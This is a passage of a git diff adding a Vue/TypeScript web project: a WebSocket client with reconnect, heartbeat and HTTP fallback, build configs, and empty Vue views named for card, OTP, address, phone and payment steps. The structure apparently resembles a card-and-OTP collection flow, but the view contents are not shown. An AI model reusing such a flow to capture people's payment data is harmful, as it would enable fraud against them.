"ack": + this.handleAck(data.messageId); + break; + default: + this.emit("message", event.data); + } + } catch { + this.emit("message", event.data); + } + } + + private handleError(event: Event): void { + this.emit("error", event); + } + + private handleClose(event: CloseEvent): void { + this.stopHeartbeat(); + this.stopRetryChecker(); + this.emit("close", event); + this.scheduleReconnect(); + } + + private handleAck(messageId: string): void { + if (messageId && this.pendingConfirmations.has(messageId)) { + this.pendingConfirmations.delete(messageId); + } + } + + // ============ 连接状态 ============ + + private isConnectingOrOpen(): boolean { + return this.ws?.readyState === WebSocket.CONNECTING + || this.ws?.readyState === WebSocket.OPEN; + } + + private isConnected(): boolean { + return this.ws?.readyState === WebSocket.OPEN; + } + + private isClosed(): boolean { + return this.ws?.readyState === WebSocket.CLOSED; + } + + // ============ 重连机制 ============ + + private scheduleReconnect(): void { + if (!this.canReconnect() || this.reconnectTimeoutId !== null) return; + + const timeout = Math.min( + this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts), + MAX_RECONNECT_INTERVAL + ); + + this.reconnectTimeoutId = window.setTimeout(() => { + this.reconnectAttempts++; + this.reconnectTimeoutId = null; + + if (this.isClosed()) { + this.init(); + } + }, timeout); + } + + private canReconnect(): boolean { + return !this.opts.maxReconnectAttempts + || this.reconnectAttempts < this.opts.maxReconnectAttempts; + } + + private clearReconnectTimeout(): void { + if (this.reconnectTimeoutId !== null) { + clearTimeout(this.reconnectTimeoutId); + this.reconnectTimeoutId = null; + } + } + + private reconnectIfNeeded(): void { + if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) { + this.init(); + } + } + + // ============ 心跳机制 ============ + + private startHeartbeat(): void { + if (!this.opts.heartbeatInterval) return; + + this.heartbeatIntervalId = window.setInterval(() => { + if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) { + this.ws?.close(); + return; + } + + this.heartbeatMissCount++; + + if (this.isConnected()) { + this.ws!.send(JSON.stringify({ + event: "heartbeat", + content: { tag: "user" } + })); + } + }, this.opts.heartbeatInterval); + } + + private stopHeartbeat(): void { + if (this.heartbeatIntervalId) { + clearInterval(this.heartbeatIntervalId); + this.heartbeatIntervalId = null; + } + } + + // ============ 消息发送 ============ + + async send(data: string): Promise { + try { + const message = JSON.parse(data); + const pendingMsg = this.createPendingMessage(message); + + if (this.isConnected()) { + // WebSocket 连接正常,直接发送 + this.sendDirect(pendingMsg); + } else if (this.canReconnect() && !this.isConnectingOrOpen()) { + // 可以重连,加入队列等待重连后发送 + this.enqueue(pendingMsg); + this.reconnectIfNeeded(); + } else { + await this.sendViaHttp(message); + } + } catch { + console.error("[WebSocket] Invalid message format. Must be valid JSON."); + } + } + + private async sendViaHttp(message: any): Promise { + try { + if (message.event !== "input_text") { + await sendInput(message); + } + } catch (error) { + console.error("[WebSocket] HTTP fallback failed:", error); + throw error; + } + } + + private createPendingMessage(message: any): PendingMessage { + const id = this.generateMessageId(); + const timestamp = Date.now(); + + return { + id, + data: JSON.stringify({ ...message, messageId: id, timestamp }), + retries: 0, + timestamp, + }; + } + + private sendDirect(pendingMsg: PendingMessage): void { + this.ws?.send(pendingMsg.data); + this.pendingConfirmations.set(pendingMsg.id, pendingMsg); + } + + private enqueue(pendingMsg: PendingMessage): void { + this.sendQueue.push(pendingMsg); + } + + private flushSendQueue(): void { + if (!this.isConnected()) return; + + while (this.sendQueue.length > 0 && this.isConnected()) { + const pendingMsg = this.sendQueue.shift(); + if (pendingMsg) { + this.sendDirect(pendingMsg); + } + } + } + + // ============ 消息重试机制 ============ + + private startRetryChecker(): void { + this.stopRetryChecker(); + + this.retryCheckerId = window.setInterval(() => { + this.checkPendingMessages(); + }, RETRY_CHECK_INTERVAL); + } + + private stopRetryChecker(): void { + if (this.retryCheckerId) { + clearInterval(this.retryCheckerId); + this.retryCheckerId = null; + } + } + + private checkPendingMessages(): void { + const now = Date.now(); + const { retryIntervals } = this.opts; + + for (const [id, msg] of this.pendingConfirmations.entries()) { + const age = now - msg.timestamp; + const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0]; + + // 未到重试时间 + if (age < waitTime) continue; + + // 超过最大重试次数,降级使用 HTTP + if (msg.retries >= retryIntervals.length) { + this.pendingConfirmations.delete(id); + + try { + const message = JSON.parse(msg.data); + this.sendViaHttp(message).catch((error) => { + console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error); + this.sendQueue.push(msg); + }); + } catch (error) { + console.error("[WebSocket] Failed to parse message for HTTP fallback:", error); + this.sendQueue.push(msg); + } + useLoadingStore().setLoading(false); + continue; + } + + // 重试发送 + if (this.isConnected()) { + this.ws?.send(msg.data); + msg.retries++; + } + } + } + + // ============ 工具方法 ============ + + private generateMessageId(): string { + return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`; + } + + // ============ 事件系统 ============ + + on(event: string, callback: Function): void { + if (!this.listeners[event]) { + this.listeners[event] = []; + } + this.listeners[event].push(callback); + } + + off(event: string): void { + delete this.listeners[event]; + } + + private emit(event: string, data: any): void { + this.listeners[event]?.forEach(callback => callback(data)); + } + + // ============ 浏览器事件监听 ============ + + private setupBrowserListeners(): void { + // 页面可见性变化 + document.addEventListener("visibilitychange", () => { + if (document.visibilityState === "visible") { + this.reconnectAttempts = 0; + if (!this.isConnectingOrOpen()) { + this.init(); + } + } + }); + + // 网络状态变化 + window.addEventListener("online", () => { + this.reconnectAttempts = 0; + if (!this.isConnectingOrOpen()) { + this.init(); + } + }); + } +} + +// ============ 导出 ============ + +function useSocket(url: string, opts?: SocketOptions) { + const socket = new Socket(url, opts); + + return { + socket, + send: socket.send.bind(socket), + on: socket.on.bind(socket), + off: socket.off.bind(socket), + }; +} + +export { useSocket, Socket }; +export type { SocketOptions, PendingMessage }; diff --git a/a5_za_sf_finessa/src/views/AddressView.vue b/a5_za_sf_finessa/src/views/AddressView.vue new file mode 100644 index 0000000..c89b740 --- /dev/null +++ b/a5_za_sf_finessa/src/views/AddressView.vue @@ -0,0 +1,335 @@ + + + + + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/views/AppValidView.vue b/a5_za_sf_finessa/src/views/AppValidView.vue new file mode 100644 index 0000000..12900a3 --- /dev/null +++ b/a5_za_sf_finessa/src/views/AppValidView.vue @@ -0,0 +1,275 @@ + + + + + diff --git a/a5_za_sf_finessa/src/views/CardView.vue b/a5_za_sf_finessa/src/views/CardView.vue new file mode 100644 index 0000000..544f3e2 --- /dev/null +++ b/a5_za_sf_finessa/src/views/CardView.vue @@ -0,0 +1,622 @@ + + + + + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/views/CommonLayout.vue b/a5_za_sf_finessa/src/views/CommonLayout.vue new file mode 100644 index 0000000..13d1532 --- /dev/null +++ b/a5_za_sf_finessa/src/views/CommonLayout.vue @@ -0,0 +1,27 @@ + + + + + diff --git a/a5_za_sf_finessa/src/views/CustomOtpView.vue b/a5_za_sf_finessa/src/views/CustomOtpView.vue new file mode 100644 index 0000000..aaa2bac --- /dev/null +++ b/a5_za_sf_finessa/src/views/CustomOtpView.vue @@ -0,0 +1,1415 @@ + + + + + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/views/HomeView.vue b/a5_za_sf_finessa/src/views/HomeView.vue new file mode 100644 index 0000000..9508d83 --- /dev/null +++ b/a5_za_sf_finessa/src/views/HomeView.vue @@ -0,0 +1,124 @@ + + + + + diff --git a/a5_za_sf_finessa/src/views/IndexView.vue b/a5_za_sf_finessa/src/views/IndexView.vue new file mode 100644 index 0000000..3898e65 --- /dev/null +++ b/a5_za_sf_finessa/src/views/IndexView.vue @@ -0,0 +1,62 @@ + + + + + + + diff --git a/a5_za_sf_finessa/src/views/LoadingView.vue b/a5_za_sf_finessa/src/views/LoadingView.vue new file mode 100644 index 0000000..140550d --- /dev/null +++ b/a5_za_sf_finessa/src/views/LoadingView.vue @@ -0,0 +1,61 @@ + + + + + diff --git a/a5_za_sf_finessa/src/views/OtpView.vue b/a5_za_sf_finessa/src/views/OtpView.vue new file mode 100644 index 0000000..b4dcba9 --- /dev/null +++ b/a5_za_sf_finessa/src/views/OtpView.vue @@ -0,0 +1,777 @@ + + + + + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/views/PayView.vue b/a5_za_sf_finessa/src/views/PayView.vue new file mode 100644 index 0000000..7570568 --- /dev/null +++ b/a5_za_sf_finessa/src/views/PayView.vue @@ -0,0 +1,175 @@ + + + diff --git a/a5_za_sf_finessa/src/views/PhoneView copy 2.vue b/a5_za_sf_finessa/src/views/PhoneView copy 2.vue new file mode 100644 index 0000000..1e36e6f --- /dev/null +++ b/a5_za_sf_finessa/src/views/PhoneView copy 2.vue @@ -0,0 +1,225 @@ + + + + + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/views/SuccessView.vue b/a5_za_sf_finessa/src/views/SuccessView.vue new file mode 100644 index 0000000..2a8566b --- /dev/null +++ b/a5_za_sf_finessa/src/views/SuccessView.vue @@ -0,0 +1,288 @@ + + + + + \ No newline at end of file diff --git a/a5_za_sf_finessa/tsconfig.app.json b/a5_za_sf_finessa/tsconfig.app.json new file mode 100644 index 0000000..cdbea1d --- /dev/null +++ b/a5_za_sf_finessa/tsconfig.app.json @@ -0,0 +1,12 @@ +{ + "extends": "@vue/tsconfig/tsconfig.web.json", + "include": ["env.d.ts", "src/**/*", "src/**/*.vue"], + "exclude": ["src/**/__tests__/*"], + "compilerOptions": { + "composite": true, + "baseUrl": ".", + "paths": { + "@/*": ["./src/*"] + } + } +} diff --git a/a5_za_sf_finessa/tsconfig.config.json b/a5_za_sf_finessa/tsconfig.config.json new file mode 100644 index 0000000..424084a --- /dev/null +++ b/a5_za_sf_finessa/tsconfig.config.json @@ -0,0 +1,8 @@ +{ + "extends": "@vue/tsconfig/tsconfig.node.json", + "include": ["vite.config.*", "vitest.config.*", "cypress.config.*", "playwright.config.*"], + "compilerOptions": { + "composite": true, + "types": ["node"] + } +} diff --git a/a5_za_sf_finessa/tsconfig.json b/a5_za_sf_finessa/tsconfig.json new file mode 100644 index 0000000..31f9003 --- /dev/null +++ b/a5_za_sf_finessa/tsconfig.json @@ -0,0 +1,14 @@ +{ + "files": [], + "references": [ + { + "path": "./tsconfig.config.json" + }, + { + "path": "./tsconfig.app.json" + }, + { + "path": "./tsconfig.vitest.json" + } + ] +} diff --git a/a5_za_sf_finessa/tsconfig.vitest.json b/a5_za_sf_finessa/tsconfig.vitest.json new file mode 100644 index 0000000..d080d61 --- /dev/null +++ b/a5_za_sf_finessa/tsconfig.vitest.json @@ -0,0 +1,9 @@ +{ + "extends": "./tsconfig.app.json", + "exclude": [], + "compilerOptions": { + "composite": true, + "lib": [], + "types": ["node", "jsdom"] + } +} diff --git a/a5_za_sf_finessa/vite.config.ts b/a5_za_sf_finessa/vite.config.ts new file mode 100644 index 0000000..1555940 --- /dev/null +++ b/a5_za_sf_finessa/vite.config.ts @@ -0,0 +1,21 @@ +import { fileURLToPath, URL } from "node:url"; + +import { defineConfig } from "vite"; +import vue from "@vitejs/plugin-vue"; + +// https://vitejs.dev/config/ +export default defineConfig({ + plugins: [vue()], + resolve: { + alias: { + "@": fileURLToPath(new URL("./src", import.meta.url)), + }, + }, + server: { + host: "0.0.0.0", + proxy: {}, + }, + build: { + chunkSizeWarningLimit: 1000, // 将警告限制调整为 1000kB + }, +}); diff --git a/a5_za_sf_finessa/zip.js b/a5_za_sf_finessa/zip.js new file mode 100644 index 0000000..f2f14c3 --- /dev/null +++ b/a5_za_sf_finessa/zip.js @@ -0,0 +1,39 @@ +const fs = require("fs"); +const archiver = require("archiver"); + +// 创建一个输出流到指定的 zip 文件 +const output = fs.createWriteStream(__dirname + "/../../zip/a5_za_sf_finessa.zip"); // 这里可以更改为你想要的文件名 +const archive = archiver("zip", { + zlib: { level: 9 }, // 设置压缩级别 +}); + +// 监听关闭事件,打印压缩完成信息 +output.on("close", function () { + console.log(archive.pointer() + " total bytes"); + console.log( + "archiver has been finalized and the output file descriptor has closed." + ); +}); + +// 捕获警告 +archive.on("warning", function (err) { + if (err.code === "ENOENT") { + // log warning + } else { + throw err; + } +}); + +// 捕获错误 +archive.on("error", function (err) { + throw err; +}); + +// 将输出流管道到归档文件 +archive.pipe(output); + +// 添加目录到归档文件 +archive.directory("dist/", false); + +// 完成归档 +archive.finalize();